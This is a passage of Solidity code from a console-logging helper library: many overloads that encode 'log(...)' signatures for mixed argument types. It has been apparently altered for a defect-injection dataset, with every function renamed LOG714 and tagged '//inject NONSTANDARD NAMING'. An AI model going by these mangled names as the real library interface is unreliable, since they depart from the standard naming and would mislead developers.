function LOG714(string memory p0, uint p1, uint p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2));
}
function LOG714(string memory p0, uint p1, string memory p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2));
}
function LOG714(string memory p0, uint p1, bool p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2));
}
function LOG714(string memory p0, uint p1, address p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2));
}
function LOG714(string memory p0, string memory p1, uint p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2));
}
function LOG714(string memory p0, string memory p1, string memory p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2));
}
function LOG714(string memory p0, string memory p1, bool p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2));
}
function LOG714(string memory p0, string memory p1, address p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2));
}
function LOG714(string memory p0, bool p1, uint p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2));
}
function LOG714(string memory p0, bool p1, string memory p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2));
}
function LOG714(string memory p0, bool p1, bool p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2));
}
function LOG714(string memory p0, bool p1, address p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2));
}
function LOG714(string memory p0, address p1, uint p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2));
}
function LOG714(string memory p0, address p1, string memory p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2));
}
function LOG714(string memory p0, address p1, bool p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2));
}
function LOG714(string memory p0, address p1, address p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2));
}
function LOG714(bool p0, uint p1, uint p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2));
}
function LOG714(bool p0, uint p1, string memory p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2));
}
function LOG714(bool p0, uint p1, bool p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2));
}
function LOG714(bool p0, uint p1, address p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2));
}
function LOG714(bool p0, string memory p1, uint p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2));
}
function LOG714(bool p0, string memory p1, string memory p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2));
}
function LOG714(bool p0, string memory p1, bool p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2));
}
function LOG714(bool p0, string memory p1, address p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2));
}
function LOG714(bool p0, bool p1, uint p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2));
}
function LOG714(bool p0, bool p1, string memory p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2));
}
function LOG714(bool p0, bool p1, bool p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2));
}
function LOG714(bool p0, bool p1, address p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2));
}
function LOG714(bool p0, address p1, uint p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2));
}
function LOG714(bool p0, address p1, string memory p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2));
}
function LOG714(bool p0, address p1, bool p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2));
}
function LOG714(bool p0, address p1, address p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2));
}
function LOG714(address p0, uint p1, uint p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2));
}
function LOG714(address p0, uint p1, string memory p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2));
}
function LOG714(address p0, uint p1, bool p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2));
}
function LOG714(address p0, uint p1, address p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2));
}
function LOG714(address p0, string memory p1, uint p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2));
}
function LOG714(address p0, string memory p1, string memory p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2));
}
function LOG714(address p0, string memory p1, bool p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2));
}
function LOG714(address p0, string memory p1, address p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2));
}
function LOG714(address p0, bool p1, uint p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2));
}
function LOG714(address p0, bool p1, string memory p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2));
}
function LOG714(address p0, bool p1, bool p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2));
}
function LOG714(address p0, bool p1, address p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2));
}
function LOG714(address p0, address p1, uint p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2));
}
function LOG714(address p0, address p1, string memory p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2));
}
function LOG714(address p0, address p1, bool p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2));
}
function LOG714(address p0, address p1, address p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2));
}
function LOG714(uint p0, uint p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3));
}
function LOG714(uint p0, uint p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3));
}
function LOG714(uint p0, uint p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3));
}
function LOG714(uint p0, uint p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3));
}
function LOG714(uint p0, uint p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3));
}
function LOG714(uint p0, uint p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3));
}
function LOG714(uint p0, uint p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3));
}
function LOG714(uint p0, uint p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3));
}
function LOG714(uint p0, uint p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3));
}
function LOG714(uint p0, uint p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3));
}
function LOG714(uint p0, uint p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3));
}
function LOG714(uint p0, uint p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3));
}
function LOG714(uint p0, uint p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3));
}
function LOG714(uint p0, uint p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3));
}
function LOG714(uint p0, uint p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3));
}
function LOG714(uint p0, uint p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3));
}
function LOG714(uint p0, string memory p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3));
}
function LOG714(uint p0, string memory p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3));
}
function LOG714(uint p0, string memory p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3));
}
function LOG714(uint p0, string memory p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3));
}
function LOG714(uint p0, string memory p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3));
}
function LOG714(uint p0, string memory p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3));
}
function LOG714(uint p0, string memory p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3));
}
function LOG714(uint p0, string memory p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3));
}
function LOG714(uint p0, string memory p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3));
}
function LOG714(uint p0, string memory p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3));
}
function LOG714(uint p0, string memory p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3));
}
function LOG714(uint p0, string memory p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3));
}
function LOG714(uint p0, string memory p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3));
}
function LOG714(uint p0, string memory p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3));
}
function LOG714(uint p0, string memory p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3));
}
function LOG714(uint p0, string memory p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3));
}
function LOG714(uint p0, bool p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3));
}
function LOG714(uint p0, bool p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3));
}
function LOG714(uint p0, bool p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3));
}
function LOG714(uint p0, bool p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3));
}
function LOG714(uint p0, bool p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3));
}
function LOG714(uint p0, bool p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3));
}
function LOG714(uint p0, bool p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3));
}
function LOG714(uint p0, bool p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3));
}
function LOG714(uint p0, bool p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3));
}
function LOG714(uint p0, bool p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3));
}
function LOG714(uint p0, bool p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3));
}
function LOG714(uint p0, bool p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3));
}
function LOG714(uint p0, bool p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3));
}
function LOG714(uint p0, bool p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3));
}
function LOG714(uint p0, bool p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3));
}
function LOG714(uint p0, bool p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3));
}
function LOG714(uint p0, address p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3));
}
function LOG714(uint p0, address p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3));
}
function LOG714(uint p0, address p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3));
}
function LOG714(uint p0, address p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3));
}
function LOG714(uint p0, address p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3));
}
function LOG714(uint p0, address p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3));
}
function LOG714(uint p0, address p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3));
}
function LOG714(uint p0, address p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3));
}
function LOG714(uint p0, address p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3));
}
function LOG714(uint p0, address p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3));
}
function LOG714(uint p0, address p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3));
}
function LOG714(uint p0, address p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3));
}
function LOG714(uint p0, address p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3));
}
function LOG714(uint p0, address p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3));
}
function LOG714(uint p0, address p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3));
}
function LOG714(uint p0, address p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3));
}
function LOG714(string memory p0, uint p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3));
}
function LOG714(string memory p0, uint p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3));
}
function LOG714(string memory p0, uint p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3));
}
function LOG714(string memory p0, uint p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3));
}
function LOG714(string memory p0, uint p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3));
}
function LOG714(string memory p0, uint p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3));
}
function LOG714(string memory p0, uint p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3));
}
function LOG714(string memory p0, uint p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3));
}
function LOG714(string memory p0, uint p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3));
}
function LOG714(string memory p0, uint p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3));
}
function LOG714(string memory p0, uint p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3));
}
function LOG714(string memory p0, uint p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3));
}
function LOG714(string memory p0, uint p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3));
}
function LOG714(string memory p0, uint p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3));
}
function LOG714(string memory p0, uint p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3));
}
function LOG714(string memory p0, uint p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3));
}
function LOG714(string memory p0, string memory p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3));
}
function LOG714(string memory p0, string memory p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3));
}
function LOG714(string memory p0, string memory p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3));
}
function LOG714(string memory p0, string memory p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3));
}
function LOG714(string memory p0, string memory p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3));
}
function LOG714(string memory p0, string memory p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3));
}
function LOG714(string memory p0, string memory p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3));
}
function LOG714(string memory p0, string memory p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3));
}
function LOG714(string memory p0, string memory p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3));
}
function LOG714(string memory p0, string memory p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3));
}
function LOG714(string memory p0, string memory p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3));
}
function LOG714(string memory p0, string memory p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3));
}
function LOG714(string memory p0, string memory p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3));
}
function LOG714(string memory p0, string memory p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3));
}
function LOG714(string memory p0, string memory p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3));
}
function LOG714(string memory p0, string memory p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3));
}
function LOG714(string memory p0, bool p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3));
}
function LOG714(string memory p0, bool p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3));
}
function LOG714(string memory p0, bool p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3));
}
function LOG714(string memory p0, bool p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3));
}
function LOG714(string memory p0, bool p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3));
}
function LOG714(string memory p0, bool p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3));
}
function LOG714(string memory p0, bool p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3));
}
